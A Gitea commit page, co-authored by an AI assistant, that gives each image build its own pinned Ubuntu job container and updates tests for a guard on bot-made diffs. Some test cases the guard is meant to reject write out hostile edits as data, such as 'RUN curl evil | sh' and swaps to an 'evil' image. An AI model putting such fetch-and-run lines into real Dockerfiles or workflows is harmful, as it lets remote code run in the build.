fix(image): give every image its own job container release

kaniko runs inside the job container and unpacks the image it builds over it, so the
job container must be the same Ubuntu release as the image's FROM lines. A single
ubuntu:26.04 job container broke the molecule-ubuntu2404 build (run 2529: GLIBC_2.42
not found, then the credential cleanup step died too).

Each matrix entry now names job_image, check_image_versions.py pins fails when it
differs from the Dockerfile's release, the bot-diff guard allows tag and digest edits
of job_image lines, Renovate tracks them with a regex manager (never automerged), and
major ubuntu updates are disabled everywhere: a new release is a deliberate edit.

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm
This commit is contained in:
Defame1297andClaude Sonnet 5.5 committed 2026-10-26 18:58:21 +00:00
1 parent 3c471b8986
commit c3d0d7df65
7 files changed
+142 -28

No files matched your search

+9 -6
View File
@@ -20,7 +20,8 @@ FILES = {
"images/ci/Dockerfile": f"FROM ubuntu:24.04@{D1} AS os\nRUN pip install uv==0.13.5 \\\n && echo hi\nRUN echo x\n",
"images/molecule-ubuntu2404/Dockerfile": f"FROM ubuntu:24.04@{D1}\n",
".gitea/workflows/image.yml": (f"jobs:\n image:\n matrix:\n include:\n - name: ci\n"
f" version: 0.2.0\n container:\n image: ubuntu:24.04@{D1}\n"
f" version: 0.2.0\n job_image: ubuntu:24.04@{D1}\n"
" container:\n image: ${{ matrix.job_image }}\n"
" steps:\n - run: echo ok\n"),
".gitea/workflows/lint.yml": f"container:\n image: git.rkdr.net/mortis/ci:0.2.0@{D1}\nrun: echo a\n",
".gitea/workflows/molecule.yml": f"env:\n MOLECULE_IMAGE: >-\n git.rkdr.net/mortis/mol:0.1.0@{D1}\n",
@@ -44,7 +45,7 @@ class RuleTest(unittest.TestCase):
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM ubuntu:24.10@{D2} AS os"),
("images/ci/Dockerfile", "RUN pip install uv==0.13.5 \\", "RUN pip install uv==0.14.0 \\"),
(".gitea/workflows/image.yml", " version: 0.2.0", " version: 0.2.1"),
(".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: ubuntu:24.04@{D2}"),
(".gitea/workflows/image.yml", f" job_image: ubuntu:24.04@{D1}", f" job_image: ubuntu:24.04@{D2}"),
(".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
f" image: git.rkdr.net/mortis/ci:0.2.1@{D2}"),
(".gitea/workflows/molecule.yml", f" git.rkdr.net/mortis/mol:0.1.0@{D1}",
@@ -62,7 +63,9 @@ class RuleTest(unittest.TestCase):
("images/ci/Dockerfile", "RUN echo x", "RUN curl evil | sh"),
("images/ci/Dockerfile", "RUN pip install uv==0.13.5", "RUN pip install uv==0.14.0 evil"),
(".gitea/workflows/image.yml", " - run: echo ok", " - run: echo evil"),
(".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: evil:1@{D1}"),
(".gitea/workflows/image.yml", " image: ${{ matrix.job_image }}", f" image: ubuntu:24.04@{D1}"),
(".gitea/workflows/image.yml", " image: ${{ matrix.job_image }}", " image: evil"),
(".gitea/workflows/image.yml", f" job_image: ubuntu:24.04@{D1}", f" job_image: evil:1@{D1}"),
(".gitea/workflows/lint.yml", "run: echo a", "run: echo b"),
(".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
f" image: git.rkdr.net/mortis/other:0.2.0@{D1}"),
@@ -81,7 +84,7 @@ class RuleTest(unittest.TestCase):
(".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
f" image: git.rkdr.net/mortis/ci:{tag}@{D1}"),
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM ubuntu:{tag}@{D1} AS os"),
(".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: ubuntu:{tag}@{D1}"),
(".gitea/workflows/image.yml", f" job_image: ubuntu:24.04@{D1}", f" job_image: ubuntu:{tag}@{D1}"),
]
for path, old, new in cases:
self.assertIsNotNone(self.problem(path, old, new), (path, tag))
@@ -91,8 +94,8 @@ class RuleTest(unittest.TestCase):
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", "FROM ubuntu:latest AS os"),
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", "FROM ubuntu AS os"),
("images/ci/Dockerfile", "FROM ubuntu:24.04 AS os", f"FROM ubuntu:24.04@{D1} AS os"),
(".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", " image: ubuntu:latest"),
(".gitea/workflows/image.yml", " image: ubuntu:24.04", f" image: ubuntu:24.04@{D1}"),
(".gitea/workflows/image.yml", f" job_image: ubuntu:24.04@{D1}", " job_image: ubuntu:latest"),
(".gitea/workflows/image.yml", " job_image: ubuntu:24.04", f" job_image: ubuntu:24.04@{D1}"),
]
for path, old, new in cases:
self.assertIsNotNone(self.problem(path, old, new), (path, old, new))
+39 -4
View File
@@ -13,6 +13,7 @@ sys.path.insert(0, str(SCRIPTS))
import check_image_versions as civ # noqa: E402
DIGEST = "sha256:" + "a" * 64
JOB = f"ubuntu:24.04@{DIGEST}"
IMAGE_YML = """\
jobs:
image:
@@ -23,12 +24,16 @@ jobs:
version: {mol}
subpath: images/mol
dockerfile: Dockerfile
job_image: """ + JOB + """
- name: ci
version: {ci}
subpath: ""
dockerfile: images/ci/Dockerfile
job_image: """ + JOB + """
container:
image: ${{{{ matrix.job_image }}}}
"""
CI_DOCKERFILE = "FROM x AS b\nCOPY requirements-dev.txt .pre-commit-config.yaml ./\nCOPY --from=b /a /b\n"
CI_DOCKERFILE = f"FROM {JOB} AS b\nCOPY requirements-dev.txt .pre-commit-config.yaml ./\nCOPY --from=b /a /b\n"
def run(cwd, *cmd):
@@ -210,15 +215,45 @@ class PureTest(unittest.TestCase):
# The reader replaces PyYAML in the Renovate image (which has none); here PyYAML is the oracle.
import yaml
real = (pathlib.Path(__file__).resolve().parents[2] / civ.MATRIX_FILE).read_text()
want = {e["name"]: {"version": e["version"], "subpath": e.get("subpath") or "", "dockerfile": e["dockerfile"]}
want = {e["name"]: {"version": e["version"], "subpath": e.get("subpath") or "", "dockerfile": e["dockerfile"],
"job_image": e["job_image"]}
for e in yaml.safe_load(real)["jobs"]["image"]["strategy"]["matrix"]["include"]}
self.assertEqual(civ.matrix_of(real), want)
self.assertEqual(civ.matrix_of(IMAGE_YML.format(mol="0.1.0", ci="0.2.0")),
{e["name"]: {"version": e["version"], "subpath": e.get("subpath") or "",
"dockerfile": e["dockerfile"]}
"dockerfile": e["dockerfile"], "job_image": e["job_image"]}
for e in yaml.safe_load(IMAGE_YML.format(mol="0.1.0", ci="0.2.0"))
["jobs"]["image"]["strategy"]["matrix"]["include"]})
def test_job_image_must_match_the_dockerfile_release(self):
text = IMAGE_YML.format(mol="0.1.0", ci="0.2.0")
matrix = civ.matrix_of(text)
files = {"images/mol/Dockerfile": f"FROM {JOB}\n",
"images/ci/Dockerfile": f"FROM {JOB} AS os\nFROM os AS build\nFROM os AS final\n"}
def read(path):
return files[path]
self.assertEqual(civ.check_job_images(matrix, read, text), [])
files["images/ci/Dockerfile"] = f"FROM ubuntu:26.04@{DIGEST} AS os\nFROM os AS final\n"
errors = civ.check_job_images(matrix, read, text)
self.assertEqual(len(errors), 1)
self.assertIn("builds on ubuntu:26.04 but its job_image is ubuntu:24.04", errors[0])
files["images/ci/Dockerfile"] = "FROM debian:12\n"
self.assertIn("no `FROM ubuntu:<release>` line", civ.check_job_images(matrix, read, text)[0])
files["images/ci/Dockerfile"] = f"FROM {JOB} AS os\n"
self.assertEqual(civ.check_job_images(matrix, read, text.replace("matrix.job_image", "matrix.other")),
[".gitea/workflows/image.yml: the job container must be "
"`image: ${{ matrix.job_image }}`"])
def test_job_image_shape_and_missing_key(self):
text = IMAGE_YML.format(mol="0.1.0", ci="0.2.0")
for bad in (text.replace(f"job_image: {JOB}", "job_image: ubuntu:latest", 1),
text.replace(f" job_image: {JOB}\n", "", 1)):
errors = civ.check_job_images(civ.matrix_of(bad), lambda path: f"FROM {JOB}\n", bad)
self.assertEqual(len(errors), 1, errors)
self.assertIn("job_image in .gitea/workflows/image.yml must be ubuntu:<release>@sha256:<digest>", errors[0])
def test_scripts_do_not_import_yaml(self):
# The bump step runs in the Renovate image, whose python3 has no PyYAML (dry run 2453).
for script in ("check_image_versions.py", "bump_image_versions.py"):
@@ -250,7 +285,7 @@ class GitTest(unittest.TestCase):
run(self.repo, "git", "config", "user.name", "t")
self.write(".gitea/workflows/image.yml", IMAGE_YML.format(mol="0.1.0", ci="0.2.0"))
self.write("images/ci/Dockerfile", CI_DOCKERFILE)
self.write("images/mol/Dockerfile", "FROM x\n")
self.write("images/mol/Dockerfile", f"FROM {JOB}\n")
self.write("requirements-dev.txt", "a==1\n")
self.write(".pre-commit-config.yaml", "repos: []\n")
self.commit("base")